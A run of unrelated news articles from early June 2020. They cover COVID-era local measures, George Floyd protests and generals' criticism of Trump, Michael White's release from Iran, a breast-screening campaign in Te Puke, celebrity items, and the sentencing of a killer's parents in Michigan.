He added that staff at No Frills in Port Dover were tested for COVID-19 out of an abundance of caution because that grocery store opens an hour early for migrant workers to shop.

All of these tests have come back negative, Terry said.
Te Pukes Dinky Potiki was just 35 years old and breastfeeding her youngest child when she discovered a lump in her breast which turned out to be cancerous.

A radical mastectomy saved her life, but regular breast screening is still essential to ensure the cancer doesnt return.

The BreastScreen Midland mobile breast screening unit is returning to Te Puke for two weeks from June 15 to July 3 and Dinky is encouraging as many eligible women as possible to take advantage of it.

My breast cancer diagnosis was a shock. I was breastfeeding my daughter and found a wee lump so I went straight to my GP. That was in October 1994 and by February of the following year I had a radical mastectomy. It was picked up by luck really but the process moved really quickly, she says.

With two young children at home and her eldest daughter at boarding school, Dinky had a lot to cope with, but had a very supportive partner and the support of Nga Kakano Foundation which provided transport to the Waikato Regional Cancer Centre, and the Cancer Society who put her up at The Lions Lodge while she was undergoing radiotherapy.

It was scary, but Im quite a practical person and I knew my chances were good because I was active in sport and in good health.

Dinky, 60, has continued to have breast screening every year since then, so is well used to the boob-squashing process.

Its not comfortable, she says, but you get used to it and it has to be done.

For women reluctant to undergo breast screening Dinky has a blunt message.

I always say what will happen to your children and mokopuna if you die? Its 30 seconds of discomfort for peace of mind. Thats nothing. And the gowns they give you to wear these days are very pretty  no more drab greens and blues.

Dinky, who works as a community allied health assistant at Tauranga Hospital and has supported other women to attend breast screening, encourages women to take a friend or family member with them for support if needed.

The Western Bay of Plenty Primary Health Organisations Support to Screening team provides support to women to attend breast and cervical screening and in 2018-2019 nearly 80 per cent of eligible Maori women in the region were screened for breast cancer.

The mobile breast screening unit will be at the Te Puke Library carpark in Jellicoe Street from June 15 to July 3 and the PHO is appealing particularly to those women who are overdue or who have never been screened before to make an appointment.

The unit visits Te Puke each year as part of BreastScreen Aotearoa, New Zealands free national programme, under which women aged between 45 and 69 years are eligible for a free mammogram every two years. To make an appointment, contact your GP or phone 0800 270 200.

WBOP PHO is also running cervical screening clinics in Te Puke while the mobile breast screening unit is in town. These will be held on June 22, 29 and 30 at the Te Puke Community Health Centre from 9am-4pm.

To make an appointment phone Health and Wellness Services on 07 571 2100
Why dont citizens treat police officers seriously? This is what a journalist asked Chief of Police of Armenia Arman Sargsyan in parliament today.

When the journalist told him that one gets the impression that there is an unserious approach to police, the police chief blamed the media for that. This approach is due to an in-depth analysis. I would like to ask the media to explore the activities carried out by the Police of Armenia before giving evaluations.

Touching upon the incidents that took place in the city of Gavar, a journalist noted that even the police chiefs presence didnt keep the citizens from doing what they did, and in response, Arman Sargsyan said the following: For almost a day, the media constantly told people about the murder of two people.

The journalist reminded that even lawyers declared that citizens throats were slit at the medical center in Gavar, the police chief said the media said there were four victims and then reported two deaths and added that journalists need to report information based on facts, not spread misinformation.
Desde la comunidad nativa El Pilar, el presidente @MartinVizcarraC, junto a los ministros Fabiola Munoz, Sylvia Caceres y Alejandro Neyra, se reune con los representantes de la Federacion Nativa del Rio Madre de Dios y Afluentes. pic.twitter.com/Bh2ux3RGLr
An alliance between South Africas ruling party and labor unions is pushing for the mobilization of domestic pension funds to drive economic growth, and urging caution about borrowing money from international financial institutions.

A discussion document dated May 25, prepared for meetings of the alliance members, cited the use of so-called prescribed assets during the apartheid era to fund infrastructure. South Africa has been ruled by the African National Congress, which is in an informal alliance with the Congress of South African Trade Unions and the South African Communist Party, since white-minority rule ended in 1994.

Attempts to fuel growth must include a large drive toward domestic resource mobilization from both the public and private sectors, according to the document seen by Bloomberg and verified by Cosatu. Measures taken must include among others, impact investments, interchangeably developmental and productive-asset investment requirements, it said.

The alliance encouraged the use of both privately managed pensions and civil-servant retirement funds administered by the state-owned Public Investment Corp.

South Africas economy is forecast by the countrys central bank to contract 7% this year as a result of the coronavirus outbreak and the loss of the last investment-grade rating on the nations debt. While South Africa has shunned the use of funds from institutions such as the International Monetary Fund in the democratic era, labor groups have now backed the governments approach to the lender to seek $4.2 billion from its Covid-19 relief facility.

International finance should therefore only be accepted if the conditions do not undermine, compromise or subvert South Africas national sovereignty, democracy or independence, the document said. It should neither interfere with our domestic development policies and goals nor our fundamental right to self-determination, it said.
Photo: The Canadian Press

Criminal and civil contempt of court charges have been dropped against those who were arrested in February for violating an injunction while fighting the construction of a natural gas pipeline in northern B.C.

The arrests of 22 members of the Wet'suwet'en Nation and their supporters sparked protests across the country, shutting down rail and roads and putting a dent in the Canadian economy.

The BC Prosecution Service says in a statement issued Friday that criminal contempt charges for those arrested near Houston, B.C., will not be pursued.

The Crown says there have been no further breaches of the injunction, there wasn't enough evidence linking those arrested to damage to a bridge and recent talks between governments and the Wet'suwet'en hereditary chiefs all played a role in their decision.

Suzanne Wilton with pipeline builder Coastal GasLink says in a statement that in light of work progressing in the area and ongoing talks with hereditary chiefs, it won't pursue civil contempt charges against the protesters.

A post on the Facebook site Gitimt'en Access Point says while they are relieved that charges have been dropped, they know the RCMP arrests on unceded lands was unlawful.

The Gitimt'en is one of five clans within the Wet'suwet'en Nation and the site represents a camp where some of the arrests occurred along a logging road toward the pipeline work site.

"Coastal GasLink continues to trespass on our lands under the escort of the RCMP, who maintain an illegal remote police detachment on Wetsuweten territory. We are treated as criminals on our own land," the statement says.

The statement from Dan McLaughlin of the BC Prosecution Service says the court was told that if further evidence was brought forward, other charges could be considered.

Hereditary chiefs and the federal and provincial governments signed a memorandum of understanding last month that was negotiated amid the countrywide blockades, marches and encampments.

The hereditary chiefs have opposed the 670-kilometre natural gas pipeline through their territory, although five elected Wet'suwet'en councils signed agreements with Coastal GasLink approving the construction.

The memorandum didn't directly address the chief's opposition to the pipeline but set up timelines on negotiating jurisdiction over land use planning, resources, water, wildlife, child and family wellness and other issues.

While some feared of major economic impacts from the rail blockades that sprang up in response the arrests, Parliament's spending watchdog later said they would leave a minimal dent in the pace of economic growth.

The Parliamentary budget officer's report in mid-March estimates the blockades will shave two-tenths of a percentage point off economic growth for the first quarter, with the effects dissipating through the rest of 2020.
John Kelly, the retired general who served as Donald Trump's chief of staff, joined the list of high-profile military officers criticizing the president, suggesting people should at a person's 'character' and 'ethics' before voting for them.

'I think we need to look harder at who we elect. I think we should look at people that are running for office and put them through the filter: What is their character like? What are their ethics?' Kelly, told Anthony Scaramucci, former White House communications director, during a live-streamed interview for a conference.

'The separation of powers is very very important,' he said. 'No president ever is a dictator or a king.'

Retired General John Kelly joined the list of high-profile military officers criticizing President Trump

John Kelly had served as President Trump's chief of staff and suggested people should at a person's 'character' and 'ethics' before voting for them

Kelly also said he agreed with Jim Mattis, the former defense secretary and retired general who rebuked Trump for dividing the country instead of bringing people together.

'I agree with him,' Kelly said.

'There is a concern, I think an awful big concern, that the partisanship has gotten out of hand, the tribal thing has gotten out of hand,' he noted. 'He's quite a man, Jim Mattis, and for him to do that tells you where he is relative to the concern he has for our country.'

Kelly defended Trump's former defense secretary on Thursday after Mattis publicly criticized the president's handling of the nationwide protests.

He also shot down Trump's claim that he fired Mattis in 2018.

'The president did not fire him. He did not ask for his resignation,' Kelly asserted in a Washington Post interview Thursday afternoon. 'The president has clearly forgotten how it actually happened or is confused.

'The president tweeted a very positive tweet about Jim until he started to see on Fox News their interpretation of his letter. Then he got nasty. Jim Mattis is an honorable man,' Kelly said.

Trump shot back Thursday night in a pair of tweets.

'John Kelly didn't know I was going to fire James Mattis, nor did he have any knowledge of my asking for a letter of resignation. Why would I tell him, he was not in my inner-circle, was totally exhausted by the job, and in the end just slinked away into obscurity. They all want to come back for a piece of the limelight!,' the president wrote.

Kelly, meanwhile, didn't sound positive about his time as White House chief of staff, where he tried to bring some military order and discipline to the West Wing.

'He'll either fire you and try to find a lackey who will tell you what he wants to hear, or will push so hard that you decide to leave,' he told Scaramucci of Trump.

Scaramucci - 'the Mooch' - spent 10 days as White House director of communications, which ended in Kelly firing him, and has now become a resolute Republican critic of the president.

Mattis submitted his resignation in late December 2018, and stayed on until after the New Year, amid reports of rising tensions between the Defense secretary and president.

Although Mattis had remained largely silent about his former boss, on Wednesday he released a statement criticizing Trump's handling of protests that have erupted across the country following the killing of George Floyd at the hands of a white police officer.

Mattis accused Trump of deliberately trying to divide Americans and likened his actions to the rhetoric of Nazis to 'divide and conquer.'

Who's going next? All six of these four-star Marine generals are now retired. Jim Mattis (standing, left) has called Donald Trump a danger to the Constitution; John Kelly (seated, left), called Trump's attack on Mattis 'confused' and nasty'; John Allen (second right) accused Trump of trying to plunge the U.S. into 'illiberalism'; which leaves Joe Dunford, Trump's first chairman of the joint chiefs (seated, second from left); James Amos (standing, right); and John Paxton (right) who have not spoken out

General John Kelly is the latest retired general to speak out against the president in an interview with Anthony Scaramucci, who had a short 10-day stint as Trump's director of communications

Brutal fact check: John Kelly called Donald Trump's claim he fired Jim Mattis 'confused' and his tone when Mattis left 'nasty'

'Donald Trump is the first president in my lifetime who does not try to unite the American people  does not even pretend to try. Instead, he tries to divide us,' Mattis wrote in a statement first published by the Atlantic.

Other generals, including fired four-star Marine Corps General John Allen and Chairman of the Joint Chiefs of Staff Mark Milley, also spoke out against the president's actions  especially in regards to bringing in active duty military to the nation's capital.

Martin Dempsey, the former Joint Chiefs of Staff chairman, added his voice to the criticism in an interview with NPR.

'The idea that the military would be called in to dominate and to suppress what, for the most part, were peaceful protests  admittedly, where some had opportunistically turned them violent  and that the military would somehow come in and calm that situation was very dangerous to me,' he said.

Kelly has been a consistent defender of Mattis.

Trump was quick to fire back at his former defense secretary in a two-part tweet laced with inaccuracies.

'Probably the only thing Barack Obama & I have in common is that we both had the honor of firing Jim Mattis, the world's most overrated General. I asked for his letter of resignation, & felt great about it,' Trump tweeted Wednesday evening.

'His nickname was 'Chaos', which I didn't like, & changed to 'Mad Dog,' Trump added.

While Trump claimed that he fired Mattis, the general had submitted his resignation after he disagreed with Trump's decision to pull US forces out of Syria.

His military call sign was 'Chaos' which stands for 'Colonel Has Another Outstanding Suggestion'. He was given his nickname 'Mad Dog', which Mattis reportedly does not like, years before Trump came into office.

'His primary strength was not military, but rather personal public relations. I gave him a new life, things to do, and battles to win, but he seldom 'brought home the bacon'. I didn't like his 'leadership' style or much else about him, and many others agree. Glad he is gone!' Trump added.

Mattis' op-ed was the first time ever that he openly and intently directed criticism at his former boss.

Milley also put himself at odds with President Trump in a Thursday memo telling troops to 'defend the Constitution.'

In the memo he also asserted that the National Guard was not under federal control as Trump demands governors activate the reservist unit in their states.

The chairman of the Joint Chiefs of Staff said in a letter to top military leaders that armed forces will continue to protect Americans' right to 'freedom of speech and peaceful assembly,' as the president has called in troops to defend Washington, D.C.

'We all committed our lives to the idea that is America,' Milley hand-wrote in as an addition to the bottom of the letter. 'We will stay true to that and the American people.'

The letter represented an extraordinary public statement from the most senior U.S. military officer and was clearly directed at the Commander-in-Chief.

Coming after the words of Mattis, and two other former chairmen of the joint chiefs, it suggested serious misgivings by the military about Trump himself.

Milley's attempt to distance himself from the president comes as the general was recently rebuked by retired generals after he marched out of the White House as part of Trump's entourage for a photo-op in front of St. John's Episcopal Church while dressed in his combat uniform.

Some asserted if he was going to participate in the stunt, he should have worn his service or greens uniform.

Defense Secretary Mark Esper defended Milley's uniform choice, saying it was 'appropriate,' after a series of former military leaders voiced anger at both men's conduct and warned they were politicizing the military.

Senator Lisa Murkowski, a Republican from Arkansas, defended Mattis's statement was 'honest and necessary and overdue.'

When asked if she can still show support for the president, she said: 'I'm struggling with it.'

Despite the president insisting that a 'show of force' must be exhibited in Washington, D.C. to quell rioters and violent protesters, the scene was much more tame Tuesday and Wednesday night than previously, with more peaceful protests taking place across the nation. In D.C., local police said there were no arrests.

Chairman of the Joint Chiefs of Staff Mark Milley issued a public rebuke of Donald Trump in a Thursday memo where the told troops to 'uphold the Constitution' as the president called the military to defend Washington D.C. against George Floyd rioters

In a handwritten note at the bottom of the memo, Milley reminded military leaders: 'We all committed our lives to the idea that is America' after he defended protesters' right to assemble

Milley faced backlash from retired generals for marching out of the White House in his combat uniform rather than his service or greens uniform  meant for more formal settings like the White House or Capitol Hill

His letter came after General John Allen (left) and former Defense Secretary Jim Mattis (right), both retired four-star Marine generals, denounced the president's decision to call in the U.S. Military to assist with rioters

Despite the president's steadily increasing demand for force to quell demonstrators, Wednesday night's protests across the country were widely peaceful, with few to no instances of violence, looting, rioting or arson, which riddled other days of protests

Retired Marine Corp four-star General John Allen lashed out at Trump in his own op-ed Wednesday claiming his actions in the midst of violent nationwide riots over the death of George Floyd are 'shameful.'

Allen, who commanded the International Security Assistance Force in Afghanistan then was an envoy in the international effort against ISIS, insisted Trump's presidency could be the 'beginning of the end of American democracy.'

'The slide of the United States into illiberalism may well have begun on June 1, 2020,' Allen wrote in an op-ed published to ForeignPolicy.com. 'Remember the date. It may well signal the beginning of the end of the American experiment.'

The retired general is referencing the Monday, June 1 outing when Trump stepped outside the White House with an entourage of Secret Service, administration officials, aides and media, walked across Lafayette Park, which was clear of protesters minutes earlier by use of tear gas and rubber bullets, and arrived at St. John's Episcopal Church for a photo-op with his bible.

The stunt came in the midst of days-long peaceful and violent protests across the nation over the death of George Floyd at the hands of a white cop in Minneapolis, Minnesota on Memorial Day.

Milley asserted in the memo that only the National Guard, a reservist unit of the Army, is responding to the riots at the activation of governors  and not the federal government.

'As members of the Joint Force  comprised of all races, colors, and creeds  you embody the ideals of our Constitution,' Milley wrote in the letter the chiefs of the Army, Navy, Air Force, National Guard and Space Force and Commandants of the Marine Corps and Coast Guard, as well as to the Commanders of the Combatant Commands.

Retired four-star Marine General John Allen (pictured with an Iraqi tribal leader in 2007) denounced Donald Trump's actions in the midst of nationwide unrest, claiming his presidency could be the 'beginning of the end of the American experiment'

'Please remind all of your troops and leaders that we will uphold the values of our nation, and operate consistent with national laws and out own high standards of conduct at all times,' he concluded.

Trump's Senate ally Lindsey Graham accused Mattis Thursday morning of 'buying into' the 'liberal media' narrative.

'To General Mattis, I think you're missing something here, my friend,' the senator from South Carolina told Fox & Friends 'You're missing the fact that the liberal media has taken every event in the last three and a half years and laid it at the presidency.'

'I'm not saying he's blameless,' Graham continued in rare partial criticism of Trump, 'but I am saying you're buying into a narrative that I think is quite frankly unfair.'

He conceded, however, that 'Mattis has the right to express himself because of his military service.

'General Mattis has the right to express himself because he's served the country over a long period of time put himself at risk for the nation,' Graham said. 'But the one thing I would tell General Mattis that from the time President Trump wakes up, to go to bed there's an effort to destroy his presidency.'

He also called out Trump's Monday walk from the White House, across Lafayette Park to St. John's Episcopal Church for a photo-op with his bible, claiming: 'The slide of the United States into illiberalism may well have begun on June 1, 2020'

'[T]he president proclaimed himself the 'ally of peaceful protesters.' But, at that very moment, just a few hundred feet away across Lafayette Park, fully equipped riot police and troops violently, and without provocation, set upon the peaceful demonstrators there, manhandling and beating many of them, employing flash-bangs, riot-control agents, and pepper spray throughout,' Allen wrote

The scene in Washington, D.C. was filled with peaceful protests on Wednesday  a break from days prior

High five: Here a D.C. resident high-fives a three-year-old present at the protests as a police barricade blocks a street leading to the White House

In Atlanta, police knelt in the street with peaceful protesters

Thousands of noisy  but still peaceful  protesters also marched the streets of New York City to call for justice for George Floyd, a black man who was killed during an arrest by a white cop

Former Defense Secretary James Mattis broke his silence on Trump's leadership and revealed he is 'angry and appalled' at his handling of the George Floyd protests

Utah National Guard soldiers stand on a police line as demonstrators gathered to protest the death of George Floyd in Washington D.C. on Wednesday night

Members of the DC National Guard remained on guard outside the Lincoln Memorial on Thursday after keeping watch through the night despite an easing of tensions between demonstrators and law enforcement

A man yells at soldiers at sunrise outside the White House on Thursday morning. The protests in D.C. remained peaceful throughout Wednesday and Wednesday night

Members of the D.C. National Guard gear-up after a short rest from standing guard at the Lincoln Memorial Thursday on what will be the seventh day of protests in DC over the death of George Floyd. Demonstrations remained peaceful Wednesday

Hundreds of demonstrators stayed as close to the White House as they could get as the 11pm curfew approached and continued to chant until the early hours of Thursday morning

A soldier keeps watch at the Lincoln Memorial as thousands of peaceful demonstrators were met with a huge military presence Wednesday following a week of tenses clashes in the capital

Allen, who has also spent his life in public service, expressed in his op-ed his opposition to the president's mobilization of the U.S. Military to ward off and quell rioters and condemned Trump's comparison of the violent protesters ravaging cities to 'domestic terrorists.'

Mostly, however, the president of the Brookings Institute  often referred to as a liberal-centrist think tank  was disappointed in the use of force to clear the way for a presidential photo-op.

'[T]he president proclaimed himself the 'ally of peaceful protesters.' But, at that very moment, just a few hundred feet away across Lafayette Park, fully equipped riot police and troops violently, and without provocation, set upon the peaceful demonstrators there, manhandling and beating many of them, employing flash-bangs, riot-control agents, and pepper spray throughout,' Allen wrote.

On Monday, law enforcement forced peaceful demonstrators from the park ahead of Trump's short visit to the church across Pennsylvania Avenue from the North Lawn of the White House.

They used tear gas and nonlethal rubber bullets to disperse the crowd.

Senior defense officials told reporters the two were not aware that the Park Police and law enforcement had made a decision to clear the square or that Trump intended to visit the church.

They had been in Washington to coordinate with federal law enforcement officials but were diverted to the White House to brief Trump on military preparations, the officials said.

Administration officials privately acknowledged Monday's events did not do the administration any justice.

Even some Republican lawmakers who are typically in sync with the president said Trump went too far in using force to clear the way for his less than five-minute visit to the church.

On Tuesday, a senior White House official said the president wanted to make the aggressive action an example for the rest of the country.

Trump pushed back against Mattis' comments on Wednesday, claiming he is the 'world's most overrated general' after the Marine veteran denounced the president's leadership in the face of the nationwide protests.

Mattis spoke out for the first time publicly since his acrimonious December 2018 exit from the White House by blasting Trump as making a 'mockery of the Constitution' in a fiery statement shared Wednesday.

Although Mattis has alluded to criticism of his former boss in the past, he has never been this forthcoming with his disappointment in the president.

White House Press Secretary Kayleigh McEnany defended the president and criticized Mattis as ineffectual.

'Former Secretary Mattis' 'article' is little more than a self-promotional stunt to appease the DC elite. President Donald Trump is the law and order President that has restored peace to our nation's streets. Mattis' small words pale in comparison to POTUS' strong action.'

In his statement Mattis likened Trump's tactics of seeking to 'divide' the nation to that of the Nazis.

'Instructions given by the military departments to our troops before the Normandy invasion reminded soldiers that 'The Nazi slogan for destroying us  was 'Divide and Conquer,' he writes. 'Our American answer is 'In Union there is Strength.' We must summon that unity to surmount this crisis - confident that we are better than our politics.'

White House Press Secretary Kayleigh McEnany condemned Mattis' article, calling it 'a self-promotional stunt to appease the DC elite'

60 Minutes Correspondent John Dickerson said that he wrote a profile on Mattis 11 years ago, noting that Mattis' had the nickname 'Mad Dog' years before Trump was in office, and it was a nickname he disliked

Law enforcement fired tear gas and rubber bullets at protesters gathered in Lafayette Park to disperse the crowd for the president's photo-op in front of the church, which was set on fire in Sunday riots outside the White House

His statement about Trump seeking to divide the nation immediately follows.

'We are witnessing the consequences of three years of this deliberate effort. We are witnessing the consequences of three years without mature leadership. We can unite without him, drawing on the strengths inherent in our civil society,' he continues.

He pointedly takes on Trump's photo-op Monday, writing that he us 'angry and appalled' by the unfolding events.

'We know that we are better than the abuse of executive authority that we witnessed in Lafayette Square. We must reject and hold accountable those in office who would make a mockery of our Constitution. At the same time, we must remember Lincoln's 'better angels,' and listen to them, as we work to unite,' Mattis wrote.

He called for unity and calm. 'This will not be easy, as the past few days have shown, but we owe it to our fellow citizens; to past generations that bled to defend our promise; and to our children.'

His blistering article comes as other former military officials, including former head of the joint chiefs of staff Admiral Mike Mullen, blasted Trump for seeking to 'politicize' the military.

He also blasts a comment by Secretary of Defense Mark Esper, whose job is already in jeopardy, for his comment calling for governors to 'dominate the battlespace' in U.S. cities.

'We must reject any thinking of our cities as a 'battlespace' that our uniformed military is called upon to 'dominate.' At home, we should use our military only when requested to do so, on very rare occasions, by state governors. Militarizing our response, as we witnessed in Washington, D.C., sets up a conflicta false conflictbetween the military and civilian society,' he writes.

'It erodes the moral ground that ensures a trusted bond between men and women in uniform and the society they are sworn to protect, and of which they themselves are a part.'

Mattis also joined Allen in denouncing the 'bizarre photo-up' that Trump ordered up, as federal police backed up by the National Guard cleared away peaceful protesters in Lafayette Park.

'When I joined the military, some 50 years ago, I swore an oath to support and defend the Constitution,' writes Mattis. 'Never did I dream that troops taking that same oath would be ordered under any circumstance to violate the Constitutional rights of their fellow citizensmuch less to provide a bizarre photo op for the elected commander-in-chief, with military leadership standing alongside.'

Mattis indicated when he resigned his post that he felt an obligation to keep comments to himself. 'There is a period in which I owe my silence. It's not eternal. It's not going to be forever,' he said at the time.

While he was in office, Mattis stood out among other cabinet officials for failing to shower the president with over-the-top praise at public events.

Behind the scenes, there were clashes  and Mattis even told aides he would rather 'swallow acid' than allow Trump to throw a $50 million 'Victory Parade' in the nation's capital.

Esper was fighting for his job Wednesday even as authorities seek to gain control of the nation's streets  as he contradicted President Donald Trump on use of a special military authority and the Army announced a sudden reversal on a plan to start withdrawing active duty troops from around Washington.

The day featured sudden turnarounds and contradicting explanations about the photo-op that both Esper and the president joined in on Monday, with no clear plan about how regular military, National Guard forces, local police, and outside forces are coalescing to attempt to maintain order.

About 200 members of the Army's 82nd Airborne division were to have departed the D.C. were ordered back to Fort Bragg, North Carolina on Thursday evening.
The Governor of Osun State, Gboyega Oyetola, has relaxed the curfew in the state as part of efforts toward reopening of the economy.

The total lockdown earlier imposed on the state from Friday to Sunday has now been eased for the next 14 days in the first instance. The new curfew will now be from 9 p.m. to 5 a.m. daily.

Before now, Mr Oyetola had ordered reopening of worship centres, but insisted that adherents of the two religions would only enjoy one hour of worship each on Fridays and Sundays respectively.

According to a statement sent to PREMIUM TIMES by the governors spokesperson, Ismail Omipidan, late Thursday night, the states boundaries remain closed.

As you are all aware, the federal government few days ago lifted the ban on religious activities in the country. We have, therefore, lifted ours too after our meeting with religious leaders on Wednesday with specific guidelines.

In furtherance to that, we have also further relaxed our curfew, as part of measures for the gradual reopening of our economy.

Notwithstanding the easing of the lockdown, the ban on political, public, religious and any kind of gatherings under whatever guise remains in force.

The adherence to guidelines according to the governor is imperative so that the state does not lose the gains it has so far recorded in the fight against coronavirus in Osun.

Mr Oyetola also asked workers to resume.

Civil servants on level 7 and above should go to work within normal office hours, while each department should work out and alternate working hours for workers on grade levels 1 to 6.

He enjoined citizens to cooperate with government in the fight against the virus.
She's the MasterChef judge with a passion for food and fine dining.

And on Friday, Melissa Leong celebrated being able to eat out at her favourite Sydney restaurant, following the easing of restrictions that forced eateries to close in March.

The 40-year-old said her 'heart was full' in a gushing post she shared on Instagram as she enjoyed platefuls of Italian food at Fratelli Paradiso in Potts Point, Sydney.

'My heart is full': On Friday, MasterChef judge Melissa Leong (pictured) celebrated being able to eat out as she enjoyed dinner at her favourite Italian restaurant in Sydney in a gushing post she shared to Instagram

Its hard to find the right words to explain how I feel about this place,' she said.

She continued: 'Hospitality is a feeling, a natural instinct and a way of life. It is something that speaks to each of us, and when its real, you know it.'

The food critic went onto explain how 'happy' she was to be out while sharing plates of prosciutto, calamari and pasta with her girlfriends.

'Hospitality is a feeling, a natural instinct and a way of life. It is something that speaks to each of us, and when its real, you know it' she said of Fratelli Paradiso in Potts Point, Sydney

'I am so happy and grateful to eat at Fratelli Paradiso once again. My heart is full,' she said.

Meanwhile, Melissa has been winning fans with her stylish wardrobe on MasterChef.

The TV star is always chic, and manages to pull off plenty of bold designer looks with confidence and class.

Yum! Melissa enjoyed platefuls of prosciutto, calamari and pasta with her girlfriends after restrictions which forced restaurants to close in March were eased

Since debuting on the show, Melissa has worn $25,000 worth of showstopping outfits and accessories, expertly mixing high-end and high street styles.

Melissa is dressed by celebrity stylist Charmaine De Pasquale.

For the first two weeks of the show, the popular judge wore dresses and designs, all by British label Ted Baker.

Hot stuff: She was hard to miss in Ted Bakers $300 bright red Ryylie button midi dress

One of her most popular looks was in episode five, when Melissa modelled a $260 Elowisa Hedgerow printed wrap dress.

She was also hard to miss in the designer's $300 bright red Ryylie button midi dress.

When it comes to accessorising the designer dresses, Melissa isn't shy about stepping away from expensive brands and turning to high street options.

She has often gone from wearing Scanlan Theodore shoes worth $600 in one episode to happily wearing a more affordable pair from Zara in the next.

Earlier this week, Melissa slipped into a sweater from Zara and styled it with a $349 skirt from designer Torannce.
Washington, June 5 : US Navy veteran Michael White, who had been detained in Iran for almost two years, has been released and was on his way back Washington, according to a statement issued by his family.

"For the past 683 days my son, Michael, has been held hostage in Iran by the IRGC (Islamic Revolution Guards Corps) and I have been living in a nightmare. I am blessed to announce that the nightmare is over, and my son is safely on his way home," White's mother said in the statement on Thursday.

US President Donald Trump later confirmed White's release, saying the Navy veteran had left Iranian airspace aboard a Swiss plane.

He also expressed his gratitude to the assistance of Switzerland, which represents US interest in Iran.

White's release was also confirmed on Thursday by the Iranian Foreign Ministry.

Ministry spokesman Abbas Mousavi the US Navy veteran White was freed by a decree of an Iranian judge for human rights considerations and has left the country.

The release of White came a day after Sirous Asgari, an Iranian scientist detained by the US government, had returned to Iran.

US and Iranian officials however, have insisted that it was not a prisoner exchange and two cases were not linked.

Iranian officials, however, had suggested last month that once the Asgari was back in Iran, they would "look favourably at permitting White to go home", according to a report by The New York Times.

White reportedly has been detained in Iran since July 2018, and country's Foreign Ministry confirmed the arrest in January 2019.

Relations between the United States and Iran have become increasingly hostile since the Trump administration's unilateral exit from the Iran nuclear deal in 2018.

Washington has been mounting pressure on Tehran through a series of sanctions.

Iran has maintained a tough stance and scaled back its nuclear commitments in response.
As national protests touched off by the death of George Floyd entered their 10th day Thursday, Connecticut organizers have announced plans for more upcoming demonstrations.

In New Canaan, demonstrators sang The National Anthem and Stand By Me after gathering at Saxe Middle School late Thursday afternoon.

Five other communities had gatherings planned for Thursday, as well as in the state capitol.

The planned protests follow several large marches in Connecticut on Wednesday over the death of Floyd, an African-American man who died in custody after a Minneapolis police officer was filmed kneeling on his neck for more than eight minutes.

Mourners gathered in Minneapolis Thursday for a memorial service for Floyd led by the Rev. Al Sharpton. It was one of three events planned.

George Floyds story has been the story of black folks. Because ever since 401 years ago, the reason we could never be who we wanted and dreamed to be is you kept your knee on our neck, Sharpton saying during his eulogy. Its time for us to stand up in Georges name and say, Get your knee off our necks!

On the same day, an investigator in Georgia said a white man accused of fatally shooting Ahmaud Arbery, a black jogger, had called him a racist slur in the moments following the Feb. 23 shooting, multiple outlets reported.

The news came amid a week of demonstrations in Connecticut, where protesters held marches Wednesday in Stamford and Danbury, including shutting down a section of I-84 for about an hour.

More protests are planned this week and next.

In Trumbull, organizers plan to hold a vigil Saturday at the Town Hall gazebo starting at 11 a.m.

In Milford, town native Kira Cassandra organized a solidarity protest for Black Lives Matter and Floyd on Monday.

Cassandra, who said she knew Jayson Negron and was friends with Mubarak Soulemame, both teens shot and killed by police, planned the protest to begin at 3:30 p.m. at the gazebo on the city green.

This protest is all about solidarity, and since Milford is my hometown, I decided to take point, Cassandra said.
Jade Goody's son has paid tribute to his mother on what would've been her 39th birthday. (Photo by Dave M. Benett/Getty Images)

Jade Goody's eldest son Bobby Brazier has shared a tribute to his mother today (Friday 5 June) on what would've been her 39th birthday.

The 17-year-old posted a snap of Goody looking glamorous in a pink dress and statement necklace while posing with a cone of chips to his Instagram Stories.

He wrote alongside the photo: "Always kept it 100. Legends never die."

Read more: Jeff Brazier didn't allow sons to watch Jade Goody documentary

The Big Brother star passed away in 2009, leaving Bobby and his younger brother Freddie in the care of their father and her ex partner, Jeff Brazier.

Bobby Brazier paid tribute to his mother on her birthday. (Instagram. Bobby Brazier)

The youngster, who celebrated his own birthday earlier this week, has been making a name for himself in the modelling world of late.

He made his runway debut for Dolce and Gabbana at Milan Fashion Week in January. Posting to Instagram after walking for the fashion house, he wrote: "6 months ago I said give me 3 years Ill be doing fashion week. Thankyou @dolcegabbana ! Dream come true tonight, Im buzzin ! (sic)

Goody died of cervical cancer on 22 March 2009 at the age of 27.

Bobby Brazier walks the runway at the Dolce e Gabbana fashion show on January 11, 2020 in Milan, Italy. (Photo by Daniele Venturelli/Daniele Venturelli/WireImage )

Last November, the models father spoke of how tough the past decade had been following Goodys passing.

He said it had been tremendously difficult but that he and his sons had been able to come through it together.

The presenter remarried in 2018 to Kate Dwyer, although the pair went through some difficulties in their relationship last year with Jeff later confirming they were still together despite speculation to the contrary.
KENT COUNTY, MI  The parents of Jared Chance, who killed and dismembered a woman at his Grand Rapids home, were sentenced Friday, June 5, to jail for being accessories after the fact by helping Chance dispose of body parts.

The sentences, however, were shorter than sought by the prosecution and the victims family.

Jared Chance is serving 100 years in prison in the Nov. 29, 2018, killing and dismemberment of Ashley Young, 31, of the Kalamazoo area.

After he killed her, he cut up her body that called his parents a couple days later. He asked they pick him up and take them to their Holland home. He brought body parts, her clothes, a reciprocating saw and other items in boxes with him.

The prosecution and victims parents, Kristine Young and Ambrose Gonoude, said that Barbara Chance, 65, and James Chance, 78, bore responsibility for helping dispose of body parts when they stopped at a garbage container at an apartment complex on the way home.

Young said that parents had to know that Jared Chance had brought her daughters body parts with him.

You did everything to stop my daughter  the rest of her  from coming home, Kristine Young said.

The hearing, before Kent County Circuit Judge Paul Denenfeld, was held remotely on a YouTube feed.

I live in torment every day, Young, holding a large photo of her daughter, told the judge.

I pray that (the Chances are) tormented every night.

Sentencing guidelines for James Chance, a retired Rock Island, Ill., police sergeant, called for zero to six months in jail after his jury conviction. His wife, who pleaded no contest to being an accessory after the fact and perjury, faced 30 to 50 months in prison under the advisory guidelines.

Assistant Kent County Prosecutor Lawrence Boivin asked the judge to exceed guidelines for the father.

Defense attorney Laura Joyce said the Chances were overwhelmed when their son told them about an unthinkable and unspeakable tragedy.

The father tried to turn his son in at Grand Rapids police headquarters but a lieutenant sent them away after the father asked for an attorney. James Chance told the lieutenant he was making the biggest mistake of his life, she said.

She said the father was not a strategic monster.

Denenfeld said the parents didnt know that their son had killed Young when they picked him up. He told them the next morning. They took him home that day and stopped at police headquarters. The judge noted that the father told the lieutenant he was making a big mistake .

The judge sentenced James Chance, who recently suffered a stroke, to 30 days in the Kent County Jail. Barbara Chance was sentenced to 45 days in jail.

Both were also placed on probation and electronic tether.

